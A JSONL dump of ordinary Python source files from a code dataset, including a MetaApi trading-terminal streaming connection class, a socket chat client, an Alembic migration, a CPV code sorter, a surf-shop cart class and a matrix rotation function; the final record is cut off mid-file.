+{"seq_id":"315913049","text":"from .metaApiConnection import MetaApiConnection\nfrom ..clients.metaApi.metaApiWebsocket_client import MetaApiWebsocketClient\nfrom .terminalState import TerminalState\nfrom .connectionHealthMonitor import ConnectionHealthMonitor\nfrom .memoryHistoryStorage import MemoryHistoryStorage\nfrom .metatraderAccountModel import MetatraderAccountModel\nfrom .connectionRegistryModel import ConnectionRegistryModel\nfrom .historyStorage import HistoryStorage\nfrom ..clients.timeoutException import TimeoutException\nfrom .models import random_id, string_format_error, MarketDataSubscription, MarketDataUnsubscription\nfrom ..clients.errorHandler import ValidationException\nfrom ..clients.optionsValidator import OptionsValidator\nfrom datetime import datetime, timedelta\nfrom typing import Coroutine, List, Optional, Dict\nfrom typing_extensions import TypedDict\nfrom functools import reduce\nimport pytz\nimport asyncio\nfrom random import uniform\nfrom ..logger import LoggerManager\n\n\nclass MetaApiConnectionDict(TypedDict):\n instanceIndex: int\n ordersSynchronized: dict\n dealsSynchronized: dict\n shouldSynchronize: Optional[str]\n synchronizationRetryIntervalInSeconds: float\n synchronized: bool\n lastDisconnectedSynchronizationId: Optional[str]\n lastSynchronizationId: Optional[str]\n disconnected: bool\n\n\nclass SynchronizationOptions(TypedDict):\n instanceIndex: Optional[int]\n \"\"\"Index of an account instance to ensure synchronization on, default is to wait for the first instance to\n synchronize.\"\"\"\n applicationPattern: Optional[str]\n \"\"\"Application regular expression pattern, default is .*\"\"\"\n synchronizationId: Optional[str]\n \"\"\"synchronization id, last synchronization request id will be used by default\"\"\"\n timeoutInSeconds: Optional[float]\n \"\"\"Wait timeout in seconds, default is 5m.\"\"\"\n intervalInMilliseconds: Optional[float]\n \"\"\"Interval between account reloads while waiting for a change, default is 1s.\"\"\"\n\n\nclass StreamingMetaApiConnection(MetaApiConnection):\n \"\"\"Exposes MetaApi MetaTrader streaming API connection to consumers.\"\"\"\n\n def __init__(self, websocket_client: MetaApiWebsocketClient, account: MetatraderAccountModel,\n history_storage: HistoryStorage or None, connection_registry: ConnectionRegistryModel,\n history_start_time: datetime = None, refresh_subscriptions_opts: dict = None):\n \"\"\"Inits MetaApi MetaTrader streaming Api connection.\n\n Args:\n websocket_client: MetaApi websocket client.\n account: MetaTrader account id to connect to.\n history_storage: Local terminal history storage. By default an instance of MemoryHistoryStorage\n will be used.\n history_start_time: History start sync time.\n refresh_subscriptions_opts: Subscriptions refresh options.\n \"\"\"\n super().__init__(websocket_client, account)\n if refresh_subscriptions_opts is None:\n refresh_subscriptions_opts = {}\n validator = OptionsValidator()\n self._minSubscriptionRefreshInterval = validator.validate_non_zero(\n refresh_subscriptions_opts['minDelayInSeconds'] if 'minDelayInSeconds' in refresh_subscriptions_opts\n else None, 1, 'refreshSubscriptionsOpts.minDelayInSeconds')\n self._maxSubscriptionRefreshInterval = validator.validate_non_zero(\n refresh_subscriptions_opts['maxDelayInSeconds'] if 'maxDelayInSeconds' in refresh_subscriptions_opts\n else None, 600, 'refreshSubscriptionsOpts.maxDelayInSeconds')\n self._closed = False\n self._connection_registry = connection_registry\n self._history_start_time = history_start_time\n self._terminalState = TerminalState()\n self._historyStorage = history_storage or MemoryHistoryStorage(account.id)\n self._healthMonitor = ConnectionHealthMonitor(self)\n self._websocketClient.add_synchronization_listener(account.id, self)\n self._websocketClient.add_synchronization_listener(account.id, self._terminalState)\n self._websocketClient.add_synchronization_listener(account.id, self._historyStorage)\n self._websocketClient.add_synchronization_listener(account.id, self._healthMonitor)\n self._websocketClient.add_reconnect_listener(self, account.id)\n self._subscriptions = {}\n self._stateByInstanceIndex = {}\n self._refreshMarketDataSubscriptionsJobs = {}\n self._synchronized = False\n self._synchronizationListeners = []\n self._logger = LoggerManager.get_logger('MetaApiConnection')\n\n def remove_history(self, application: str = None) -> Coroutine:\n \"\"\"Clears the order and transaction history of a specified account so that it can be synchronized from scratch\n (see https://metaapi.cloud/docs/client/websocket/api/removeHistory/).\n\n Args:\n application: Application to remove history for.\n\n Returns:\n A coroutine resolving when the history is cleared.\n \"\"\"\n asyncio.create_task(self._historyStorage.clear())\n return self._websocketClient.remove_history(self._account.id, application)\n\n def remove_application(self):\n \"\"\"Clears the order and transaction history of a specified application and removes application (see\n https://metaapi.cloud/docs/client/websocket/api/removeApplication/).\n\n Returns:\n A coroutine resolving when the history is cleared and application is removed.\n \"\"\"\n asyncio.create_task(self._historyStorage.clear())\n return self._websocketClient.remove_application(self._account.id)\n\n async def synchronize(self, instance_index: str) -> Coroutine:\n \"\"\"Requests the terminal to start synchronization process.\n (see https://metaapi.cloud/docs/client/websocket/synchronizing/synchronize/).\n\n Args:\n instance_index: Instance index.\n\n Returns:\n A coroutine which resolves when synchronization started.\n \"\"\"\n instance = self.get_instance_number(instance_index)\n host = self.get_host_name(instance_index)\n starting_history_order_time = \\\n datetime.utcfromtimestamp(max(((self._history_start_time and self._history_start_time.timestamp()) or 0),\n (await self._historyStorage.last_history_order_time(instance))\n .timestamp())).replace(tzinfo=pytz.UTC)\n starting_deal_time = \\\n datetime.utcfromtimestamp(max(((self._history_start_time and self._history_start_time.timestamp()) or 0),\n (await self._historyStorage.last_deal_time(instance)).timestamp()))\\\n .replace(tzinfo=pytz.UTC)\n synchronization_id = random_id()\n self._get_state(instance_index)['lastSynchronizationId'] = synchronization_id\n hashes = self.terminal_state.get_hashes(self._account.type, instance_index)\n return await self._websocketClient.synchronize(\n self._account.id, instance, host, synchronization_id, starting_history_order_time, starting_deal_time,\n hashes['specificationsMd5'], hashes['positionsMd5'], hashes['ordersMd5'])\n\n async def initialize(self):\n \"\"\"Initializes meta api connection\"\"\"\n await self._historyStorage.initialize()\n\n async def subscribe(self):\n \"\"\"Initiates subscription to MetaTrader terminal.\n\n Returns:\n A coroutine which resolves when subscription is initiated.\n \"\"\"\n if not self._closed:\n self._websocketClient.ensure_subscribe(self._account.id)\n\n async def subscribe_to_market_data(self, symbol: str, subscriptions: List[MarketDataSubscription] = None,\n instance_index: int = None, timeout_in_seconds: float = None) -> Coroutine:\n \"\"\"Subscribes on market data of specified symbol (see\n https://metaapi.cloud/docs/client/websocket/marketDataStreaming/subscribeToMarketData/).\n\n Args:\n symbol: Symbol (e.g. currency pair or an index).\n subscriptions: Array of market data subscription to create or update. Please note that this feature is\n not fully implemented on server-side yet.\n instance_index: Instance index.\n timeout_in_seconds: Timeout to wait for prices in seconds, default is 30.\n\n Returns:\n Promise which resolves when subscription request was processed.\n \"\"\"\n if self._terminalState.specification(symbol) is None:\n raise ValidationException(f'Cannot subscribe to market data for symbol {symbol} because symbol '\n f'does not exist')\n else:\n subscriptions = subscriptions or [{'type': 'quotes'}]\n if symbol in self._subscriptions:\n prev_subscriptions = self._subscriptions[symbol]['subscriptions'] or []\n for subscription in subscriptions:\n index = -1\n for i in range(len(prev_subscriptions)):\n item = prev_subscriptions[i]\n if subscription['type'] == 'candles':\n if item['type'] == subscription['type'] and \\\n item['timeframe'] == subscription['timeframe']:\n index = i\n break\n elif item['type'] == subscription['type']:\n index = i\n break\n if index == -1:\n prev_subscriptions.append(subscription)\n else:\n prev_subscriptions[index] = subscription\n else:\n self._subscriptions[symbol] = {'subscriptions': subscriptions}\n await self._websocketClient.subscribe_to_market_data(self._account.id, instance_index, symbol,\n subscriptions)\n return await self.terminal_state.wait_for_price(symbol, timeout_in_seconds)\n\n def unsubscribe_from_market_data(self, symbol: str, subscriptions: List[MarketDataUnsubscription] = None,\n instance_index: int = None) -> Coroutine:\n \"\"\"Unsubscribes from market data of specified symbol (see\n https://metaapi.cloud/docs/client/websocket/marketDataStreaming/subscribeToMarketData/).\n\n Args:\n symbol: Symbol (e.g. currency pair or an index).\n subscriptions: Array of subscriptions to cancel.\n instance_index: Instance index.\n\n Returns:\n Promise which resolves when subscription request was processed.\n \"\"\"\n if not subscriptions:\n if symbol in self._subscriptions:\n del self._subscriptions[symbol]\n elif symbol in self._subscriptions:\n self._subscriptions[symbol]['subscriptions'] = list(filter(\n lambda s: not next((s2 for s2 in subscriptions if (\n (s['type'] == s2['type'] and s['timeframe'] == s2['timeframe']) if s['type'] == 'candles' else\n s['type'] == s2['type'])), None),\n self._subscriptions[symbol]['subscriptions']))\n if not len(self._subscriptions[symbol]['subscriptions']):\n del self._subscriptions[symbol]\n return self._websocketClient.unsubscribe_from_market_data(self._account.id, instance_index, symbol,\n subscriptions)\n\n async def on_subscription_downgraded(self, instance_index: str, symbol: str,\n updates: List[MarketDataSubscription] or None = None,\n unsubscriptions: List[MarketDataUnsubscription] or None = None):\n \"\"\"Invoked when subscription downgrade has occurred.\n\n Args:\n instance_index: Index of an account instance connected.\n symbol: Symbol to update subscriptions for.\n updates: Array of market data subscription to update.\n unsubscriptions: Array of subscriptions to cancel.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n subscriptions = self._subscriptions[symbol] if symbol in self._subscriptions else None\n if unsubscriptions and len(unsubscriptions):\n if subscriptions:\n for subscription in unsubscriptions:\n subscriptions = list(filter(lambda s: s['type'] == subscription['type'], subscriptions))\n asyncio.create_task(self.unsubscribe_from_market_data(symbol, unsubscriptions))\n if updates and len(updates):\n if subscriptions:\n for subscription in updates:\n for s in list(filter(lambda s: s['type'] == subscription['type'], subscriptions)):\n s['intervalInMilliiseconds'] = subscription['intervalInMilliseconds']\n asyncio.create_task(self.subscribe_to_market_data(symbol, updates))\n if subscriptions and (not len(subscriptions)):\n del self._subscriptions[symbol]\n\n @property\n def subscribed_symbols(self) -> List[str]:\n \"\"\"Returns list of the symbols connection is subscribed to.\n\n Returns:\n List of the symbols connection is subscribed to.\n \"\"\"\n return list(self._subscriptions.keys())\n\n def subscriptions(self, symbol) -> List[MarketDataSubscription]:\n \"\"\"Returns subscriptions for a symbol.\n\n Args:\n symbol: Symbol to retrieve subscriptions for.\n\n Returns:\n List of market data subscriptions for the symbol.\n \"\"\"\n return self._subscriptions[symbol]['subscriptions'] if symbol in self._subscriptions else []\n\n def save_uptime(self, uptime: Dict):\n \"\"\"Sends client uptime stats to the server.\n\n Args:\n uptime: Uptime statistics to send to the server.\n\n Returns:\n A coroutine which resolves when uptime statistics is submitted.\n \"\"\"\n return self._websocketClient.save_uptime(self._account.id, uptime)\n\n @property\n def terminal_state(self) -> TerminalState:\n \"\"\"Returns local copy of terminal state.\n\n Returns:\n Local copy of terminal state.\n \"\"\"\n return self._terminalState\n\n @property\n def history_storage(self) -> HistoryStorage:\n \"\"\"Returns local history storage.\n\n Returns:\n Local history storage.\n \"\"\"\n return self._historyStorage\n\n def add_synchronization_listener(self, listener):\n \"\"\"Adds synchronization listener.\n\n Args:\n listener: Synchronization listener to add.\n \"\"\"\n self._synchronizationListeners.append(listener)\n self._websocketClient.add_synchronization_listener(self._account.id, listener)\n\n def remove_synchronization_listener(self, listener):\n \"\"\"Removes synchronization listener for specific account.\n\n Args:\n listener: Synchronization listener to remove.\n \"\"\"\n self._synchronizationListeners = list(filter(lambda l: l != listener, self._synchronizationListeners))\n self._websocketClient.remove_synchronization_listener(self._account.id, listener)\n\n async def on_connected(self, instance_index: str, replicas: int):\n \"\"\"Invoked when connection to MetaTrader terminal established.\n\n Args:\n instance_index: Index of an account instance connected.\n replicas: Number of account replicas launched.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n key = random_id(32)\n state = self._get_state(instance_index)\n state['shouldSynchronize'] = key\n state['synchronizationRetryIntervalInSeconds'] = 1\n state['synchronized'] = False\n asyncio.create_task(self._ensure_synchronized(instance_index, key))\n indices = []\n for i in range(replicas):\n indices.append(i)\n for key in list(self._stateByInstanceIndex.keys()):\n e = self._stateByInstanceIndex[key]\n if self.get_instance_number(e['instanceIndex']) not in indices:\n del self._stateByInstanceIndex[key]\n\n async def on_disconnected(self, instance_index: str):\n \"\"\"Invoked when connection to MetaTrader terminal terminated.\n\n Args:\n instance_index: Index of an account instance connected.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n state = self._get_state(instance_index)\n state['lastDisconnectedSynchronizationId'] = state['lastSynchronizationId']\n state['lastSynchronizationId'] = None\n state['shouldSynchronize'] = None\n state['synchronized'] = False\n state['disconnected'] = True\n instance = self.get_instance_number(instance_index)\n if instance in self._refreshMarketDataSubscriptionsJobs:\n self._refreshMarketDataSubscriptionsJobs[instance].cancel()\n del self._refreshMarketDataSubscriptionsJobs[instance]\n\n async def on_deals_synchronized(self, instance_index: str, synchronization_id: str):\n \"\"\"Invoked when a synchronization of history deals on a MetaTrader account have finished to indicate progress\n of an initial terminal state synchronization.\n\n Args:\n instance_index: Index of an account instance connected.\n synchronization_id: Synchronization request id.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n state = self._get_state(instance_index)\n state['dealsSynchronized'][synchronization_id] = True\n\n async def on_history_orders_synchronized(self, instance_index: str, synchronization_id: str):\n \"\"\"Invoked when a synchronization of history orders on a MetaTrader account have finished to indicate progress\n of an initial terminal state synchronization.\n\n Args:\n instance_index: Index of an account instance connected.\n synchronization_id: Synchronization request id.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n state = self._get_state(instance_index)\n state['ordersSynchronized'][synchronization_id] = True\n\n async def on_reconnected(self):\n \"\"\"Invoked when connection to MetaApi websocket API restored after a disconnect.\n\n Returns:\n A coroutine which resolves when connection to MetaApi websocket API restored after a disconnect.\n \"\"\"\n self._stateByInstanceIndex = {}\n for instance in list(self._refreshMarketDataSubscriptionsJobs.keys()):\n self._refreshMarketDataSubscriptionsJobs[instance].cancel()\n self._refreshMarketDataSubscriptionsJobs = {}\n\n async def on_stream_closed(self, instance_index: str):\n \"\"\"Invoked when a stream for an instance index is closed.\n\n Args:\n instance_index: Index of an account instance connected.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n if instance_index in self._stateByInstanceIndex:\n del self._stateByInstanceIndex[instance_index]\n\n async def on_synchronization_started(self, instance_index: str, specifications_updated: bool = True,\n positions_updated: bool = True, orders_updated: bool = True):\n \"\"\"Invoked when MetaTrader terminal state synchronization is started.\n\n Args:\n instance_index: Index of an account instance connected.\n specifications_updated: Whether specifications are going to be updated during synchronization.\n positions_updated: Whether positions are going to be updated during synchronization.\n orders_updated: Whether orders are going to be updated during synchronization.\n\n Returns:\n A coroutine which resolves when the asynchronous event is processed.\n \"\"\"\n async def refresh_market_data_subscriptions_job(instance_number):\n while True:\n await self._refresh_market_data_subscriptions(instance_number)\n await asyncio.sleep(uniform(self._minSubscriptionRefreshInterval,\n self._maxSubscriptionRefreshInterval))\n\n instance = self.get_instance_number(instance_index)\n if instance in self._refreshMarketDataSubscriptionsJobs:\n self._refreshMarketDataSubscriptionsJobs[instance].cancel()\n self._refreshMarketDataSubscriptionsJobs[instance] = asyncio.create_task(\n refresh_market_data_subscriptions_job(instance))\n\n async def is_synchronized(self, instance_index: str, synchronization_id: str = None) -> bool:\n \"\"\"Returns flag indicating status of state synchronization with MetaTrader terminal.\n\n Args:\n instance_index: Index of an account instance connected.\n synchronization_id: Optional synchronization request id, last synchronization request id will be used.\n\n Returns:\n A coroutine resolving with a flag indicating status of state synchronization with MetaTrader terminal.\n \"\"\"\n def reducer_func(acc, s: MetaApiConnectionDict):\n if instance_index is not None and s['instanceIndex'] != instance_index:\n return acc\n nonlocal synchronization_id\n synchronization_id = synchronization_id or s['lastSynchronizationId']\n synchronized = synchronization_id in s['ordersSynchronized'] and \\\n bool(s['ordersSynchronized'][synchronization_id]) and \\\n synchronization_id in s['dealsSynchronized'] and \\\n bool(s['dealsSynchronized'][synchronization_id])\n return acc or synchronized\n return reduce(reducer_func, self._stateByInstanceIndex.values(), False) if \\\n len(self._stateByInstanceIndex.values()) else False\n\n async def wait_synchronized(self, opts: SynchronizationOptions = None):\n \"\"\"Waits until synchronization to MetaTrader terminal is completed.\n\n Args:\n opts: Synchronization options.\n\n Returns:\n A coroutine which resolves when synchronization to MetaTrader terminal is completed.\n\n Raises:\n TimeoutException: If application failed to synchronize with the terminal within timeout allowed.\n \"\"\"\n start_time = datetime.now()\n opts = opts or {}\n instance_index = opts['instanceIndex'] if 'instanceIndex' in opts else None\n synchronization_id = opts['synchronizationId'] if 'synchronizationId' in opts else None\n timeout_in_seconds = opts['timeoutInSeconds'] if 'timeoutInSeconds' in opts else 300\n interval_in_milliseconds = opts['intervalInMilliseconds'] if 'intervalInMilliseconds' in opts else 1000\n application_pattern = opts['applicationPattern'] if 'applicationPattern' in opts \\\n else ('CopyFactory.*|RPC' if self._account.application == 'CopyFactory' else 'RPC')\n synchronized = await self.is_synchronized(instance_index, synchronization_id)\n while not synchronized and (start_time + timedelta(seconds=timeout_in_seconds) > datetime.now()):\n await asyncio.sleep(interval_in_milliseconds / 1000)\n synchronized = await self.is_synchronized(instance_index, synchronization_id)\n state = None\n if instance_index is None:\n for s in self._stateByInstanceIndex.values():\n if await self.is_synchronized(s['instanceIndex'], synchronization_id):\n state = s\n instance_index = s['instanceIndex']\n else:\n state = next((s for s in self._stateByInstanceIndex if s['instanceIndex'] == instance_index), None)\n if not synchronized:\n raise TimeoutException('Timed out waiting for MetaApi to synchronize to MetaTrader account ' +\n self._account.id + ', synchronization id ' +\n (synchronization_id or (bool(state) and state['lastSynchronizationId']) or\n (bool(state) and state['lastDisconnectedSynchronizationId']) or 'None'))\n time_left_in_seconds = max(0, timeout_in_seconds - (datetime.now() - start_time).total_seconds())\n await self._websocketClient.wait_synchronized(self._account.id, self.get_instance_number(instance_index),\n application_pattern, time_left_in_seconds)\n\n async def close(self):\n \"\"\"Closes the connection. The instance of the class should no longer be used after this method is invoked.\"\"\"\n if not self._closed:\n self._logger.debug(f'{self._account.id}: Closing connection')\n self._stateByInstanceIndex = {}\n await self._websocketClient.unsubscribe(self._account.id)\n self._websocketClient.remove_synchronization_listener(self._account.id, self)\n self._websocketClient.remove_synchronization_listener(self._account.id, self._terminalState)\n self._websocketClient.remove_synchronization_listener(self._account.id, self._historyStorage)\n self._websocketClient.remove_synchronization_listener(self._account.id, self._healthMonitor)\n for listener in self._synchronizationListeners:\n self._websocketClient.remove_synchronization_listener(self._account.id, listener)\n self._websocketClient.remove_reconnect_listener(self)\n self._connection_registry.remove(self._account.id)\n self._healthMonitor.stop()\n for instance in list(self._refreshMarketDataSubscriptionsJobs.keys()):\n self._refreshMarketDataSubscriptionsJobs[instance].cancel()\n self._refreshMarketDataSubscriptionsJobs = {}\n self._closed = True\n\n @property\n def synchronized(self) -> bool:\n \"\"\"Returns synchronization status.\n\n Returns:\n Synchronization status.\n \"\"\"\n return True in list(map(lambda s: s['synchronized'], self._stateByInstanceIndex.values()))\n\n @property\n def health_monitor(self) -> ConnectionHealthMonitor:\n \"\"\"Returns connection health monitor instance.\n\n Returns:\n Connection health monitor instance.\n \"\"\"\n return self._healthMonitor\n\n async def _refresh_market_data_subscriptions(self, instance_number: int):\n try:\n subscriptions_list = []\n for key in self._subscriptions.keys():\n subscriptions = self.subscriptions(key)\n subscriptions_item = {'symbol': key}\n if subscriptions is not None:\n subscriptions_item['subscriptions'] = subscriptions\n subscriptions_list.append(subscriptions_item)\n await self._websocketClient.refresh_market_data_subscriptions(\n self._account.id, instance_number, subscriptions_list)\n except Exception as err:\n self._logger.error(f'Error refreshing market data subscriptions job for account {self._account.id} '\n f'{instance_number} ' + string_format_error(err))\n\n async def _ensure_synchronized(self, instance_index: str, key):\n state = self._get_state(instance_index)\n if state and not self._closed:\n try:\n synchronization_result = await self.synchronize(instance_index)\n if synchronization_result:\n state['synchronized'] = True\n state['synchronizationRetryIntervalInSeconds'] = 1\n except Exception as err:\n self._logger.error(f'MetaApi websocket client for account {self.account.id}:{str(instance_index)}'\n f' failed to synchronize ' + string_format_error(err))\n if state['shouldSynchronize'] == key:\n\n async def restart_ensure_sync():\n await asyncio.sleep(state['synchronizationRetryIntervalInSeconds'])\n await self._ensure_synchronized(instance_index, key)\n asyncio.create_task(restart_ensure_sync())\n state['synchronizationRetryIntervalInSeconds'] = \\\n min(state['synchronizationRetryIntervalInSeconds'] * 2, 300)\n\n def _get_state(self, instance_index: str) -> MetaApiConnectionDict:\n if instance_index not in self._stateByInstanceIndex:\n self._stateByInstanceIndex[instance_index] = {\n 'instanceIndex': instance_index,\n 'ordersSynchronized': {},\n 'dealsSynchronized': {},\n 'shouldSynchronize': None,\n 'synchronizationRetryIntervalInSeconds': 1,\n 'synchronized': False,\n 'lastDisconnectedSynchronizationId': None,\n 'lastSynchronizationId': None,\n 'disconnected': False\n }\n return self._stateByInstanceIndex[instance_index]\n","sub_path":"lib/metaApi/streamingMetaApiConnection.py","file_name":"streamingMetaApiConnection.py","file_ext":"py","file_size_in_byte":29427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"10730527","text":"# -*- coding: utf8 -*-\n'''\n@project Maprox \n@info Command line reading module\n@copyright 2009-2012, Maprox LLC\n'''\n\nfrom optparse import OptionParser\noptions = OptionParser()\noptions.add_option(\n \"-l\",\n \"--logconf\",\n dest=\"logconf\",\n help=\"Path to the log config file\",\n metavar=\"PathToLogConf\",\n default=\"conf/logs/default.conf\"\n)\n\noptions.add_option(\n \"-c\",\n \"--handlerconf\",\n dest=\"handlerconf\",\n help=\"Path to the protocol handler configuration file\",\n metavar=\"PathToHandlerConf\",\n default=\"conf/handlers/default.conf\"\n)\n\noptions.add_option(\n \"-s\",\n \"--pipeconf\",\n dest=\"pipeconf\",\n help=\"Path to the pipe configuration file\",\n metavar=\"PathToPipeConf\",\n default=\"conf/pipe.conf\"\n)\n\noptions.add_option(\n \"-m\",\n \"--pipe_process_mask\",\n dest=\"mask\",\n help=\"Pipe process identifier\",\n metavar=\"ProcessId\",\n default=\"000\"\n)\n\noptions.add_option(\n \"-p\",\n \"--port\",\n dest=\"port\",\n help=\"Pipe handler port\",\n metavar=\"Port\",\n default=False\n)\n\n(options, args) = options.parse_args()\n","sub_path":"kernel/commandline.py","file_name":"commandline.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"88941749","text":"from socket import *\nimport _thread\nimport os\n\n#-------------------------------------------------\n#\t\t\t\t\tFCT\n#-------------------------------------------------\n\ndef listenThread():\n\twhile True:\n\t\ttry:\n\t\t\tdata = s.recv(1024).decode()\n\t\t\tidMsg = str.split(data,';')[0]\n\t\t\tidMsgReplace = ''.join([idMsg,';'])\n\t\t\treste = data.replace(idMsgReplace,\"\")\n\t\t\tif idMsg == \"co\" or idMsg == \"deco\":\n\t\t\t\ttraitementCo(reste)\n\t\t\telif idMsg == \"msg\":\n\t\t\t\ttraitementMsg(reste)\n\t\t\telse:\n\t\t\t\tprint(data)\n\n\t\texcept ConnectionResetError:\n\t\t\tprint('Server closed')\n\t\t\tbreak\n\t\texcept KeyboardInterrupt:\n\t\t\tprint('Program stopped by user')\n\t\t\tbreak\n\ndef traitementCo(data):\n\tprint(data)\n\ndef traitementMsg(data):\n\tpseudo = str.split(data,\";\")[0]\n\tmsg = str.split(data,\";\")[1]\n\tfinal = ''.join([pseudo,' : ',msg])\n\tif pseudo != Pseudo:\n\t\tprint(final)\n#-------------------------------------------------\n#\t\t\t\t\tMAIN\n#-------------------------------------------------\n\nHOST = input(\"IP ?\")\nwhile not HOST:\n\tprint('Please type an IP')\n\tHOST = input(\"IP ?\")\n\ntry:\tPORT = int(input(\"Port ?\"))\nexcept ValueError:\tPORT = None\nwhile not PORT or PORT < 0 or PORT >65535:\n\ttry:\n\t\tif PORT is not None and (PORT < 0 or PORT >65535):\n\t\t\tprint('Port must between 0 and 65535')\n\t\telse:\n\t\t\tprint('Please type a Port')\n\t\tPORT = int(input(\"Port ?\"))\n\texcept ValueError:\n\t\tpass\n\n\ns = socket(AF_INET, SOCK_STREAM)\ntry:\n\ts.connect((HOST, PORT))\nexcept gaierror:\n\tprint('Connection failed -- gaierror')\nexcept OverflowError:\n\tprint('Invalid port -- OverflowError')\nexcept ConnectionRefusedError:\n\tprint('Connection refused -- ConnectionRefusedError')\nexcept:\n\te = sys.exc_info()[0]\n\tprint(\"Error: %s\" %e )\nelse:\n\n\tPseudo = input(\"Login ?\")\n\twhile not Pseudo:\n\t\tprint('Please type your login')\n\t\tPseudo = input(\"login ?\")\n\n\ts.send(Pseudo.encode())\n\t_thread.start_new_thread(listenThread,())\n\n\tprint(\"Chat start\")\n\twhile True:\n\t\ttry:\n\n\t\t\tmsg = str(input()).replace(\"'\",\"\\'\")\n\t\t\tif msg != '':\n\t\t\t\tmsg = ''.join([Pseudo,';',msg])\n\t\t\t\ts.send(msg.encode())\n\t\texcept ConnectionResetError:\n\t\t\tprint('Server closed')\n\t\t\tbreak\n\t\texcept KeyboardInterrupt:\n\t\t\tprint('Program stopped by user')\n\t\t\tbreak","sub_path":"Current/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"131898153","text":"\"\"\"Resourcelog time index\n\nRevision ID: fa3bc78eb17b\nRevises: 93e88dd283a2\nCreate Date: 2020-01-28 12:57:44.213493\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = \"fa3bc78eb17b\"\ndown_revision = \"93e88dd283a2\"\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n op.create_index(op.f(\"ix_resourcelog_time\"), \"resourcelog\", [\"time\"], unique=False)\n\n\ndef downgrade():\n op.drop_index(op.f(\"ix_resourcelog_time\"), table_name=\"resourcelog\")\n","sub_path":"src/vardb/datamodel/migration/alembic/versions/fa3bc78eb17b_resourcelog_time_index.py","file_name":"fa3bc78eb17b_resourcelog_time_index.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"419641455","text":"# -*- coding: utf-8 -*-\n\nfrom munch import *\nimport json\n\n\n# Написати вирахування контрольної суми\n\ndef sep(cpv_key):\n cpv_sep = {\n 'section': cpv_key[:2],\n 'group': int(cpv_key[2]),\n 'class': int(cpv_key[3]),\n 'category': int(cpv_key[4]),\n 'detailed': cpv_key[5:8],\n 'checksum': int(cpv_key[9])\n }\n return cpv_sep\n\n\ndef sort_cpv(cpv):\n cpv_s = Munch()\n cpv_error = []\n\n for key in sorted(cpv):\n cpv_sep = sep(key)\n try:\n if cpv_sep['group']==0:\n cpv_s[cpv_sep['section']]= Munch(key=key, name=cpv[key])\n elif cpv_sep['class']==0:\n cpv_s[cpv_sep['section']][cpv_sep['group']] = Munch(key=key,name=cpv[key])\n elif cpv_sep['category']==0:\n cpv_s[cpv_sep['section']][cpv_sep['group']][cpv_sep['class']] = Munch(key=key, name=cpv[key])\n elif int(cpv_sep['detailed'])==0:\n cpv_s[cpv_sep['section']][cpv_sep['group']][cpv_sep['class']][cpv_sep['category']] = Munch(key=key, name=cpv[key])\n elif int(cpv_sep['detailed'])!=0:\n cpv_s[cpv_sep['section']][cpv_sep['group']][cpv_sep['class']][cpv_sep['category']][cpv_sep['detailed']] = Munch(key=key, name=cpv[key])\n except KeyError:\n cpv_error.append(key)\n #print len(cpv_error), cpv_error\n return cpv_s\n\n\nwith open(\"src/openprocurement_publicportal/openprocurement_publicportal/cpv.json\") as cpv:\n cpv1 = json.loads(cpv.read())\n sort_cpv(cpv1)\n with open(\"src/openprocurement_publicportal/openprocurement_publicportal/cpv1.json\", 'w') as cpv_sda:\n cpv_sda.write(json.dumps(sort_cpv(cpv1)))\n","sub_path":"openprocurement_publicportal/cpv.py","file_name":"cpv.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"142175172","text":"import datetime\n\nclass TooManyBoardsError(Exception):\n def __str__(self):\n return 'Cart cannot have more than 4 surfboards in it!'\n\nclass CheckoutDateError(Exception):\n pass\n\nclass ShoppingCart:\n def __init__(self):\n self.num_surfboards = 0\n self.checkout_date = None\n self.locals_discount = False\n\n def add_surfboards(self, quantity=1):\n if self.num_surfboards + quantity > 4:\n raise TooManyBoardsError\n else:\n self.num_surfboards += quantity\n suffix = '' if quantity == 1 else 's'\n return f'Successfully added {quantity} surfboard{suffix} to cart!'\n\n def set_checkout_date(self, date):\n if date <= datetime.datetime.now():\n raise CheckoutDateError\n else:\n self.checkout_date = date\n\n def apply_locals_discount(self):\n self.locals_discount = True\n\n \n","sub_path":"surfshop.py","file_name":"surfshop.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"516115676","text":"#!/usr/bin/python3\n'''\nThis module contains the function rotate_2d_matrix\n'''\n\n\ndef rotate_2d_matrix(matrix):\n '''\n rotate two dimension matrix 90 degrees clockwise\n '''\n rot = matrix[::-1]\n matZ = zip(*rot)\n rixL = [list(elem) for elem in matZ]\n\n for a, b in enumerate(rixL):\n matrix[a] = rixL[a]\n","sub_path":"0x16-rotate_2d_matrix/0-rotate_2d_matrix.py","file_name":"0-rotate_2d_matrix.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"596651921","text":"# Carlos Alberto Dantas Filho - 96883\n# Daniel Braz da Silva - 104495\n# Gabriel Nunes Zwipp - 107813\n# Lukas Gabriel Assis dos Santos - 105242\n# Thiago Cunha de Melo - 108040\n\nfrom socket import *\nimport sys, json\n# coding=UTF-8\n\nhost = gethostname()\nport = 55551\n\nobjeto = dict()\nlist_accounts = list()\n\nprint(f'HOST: {host} , 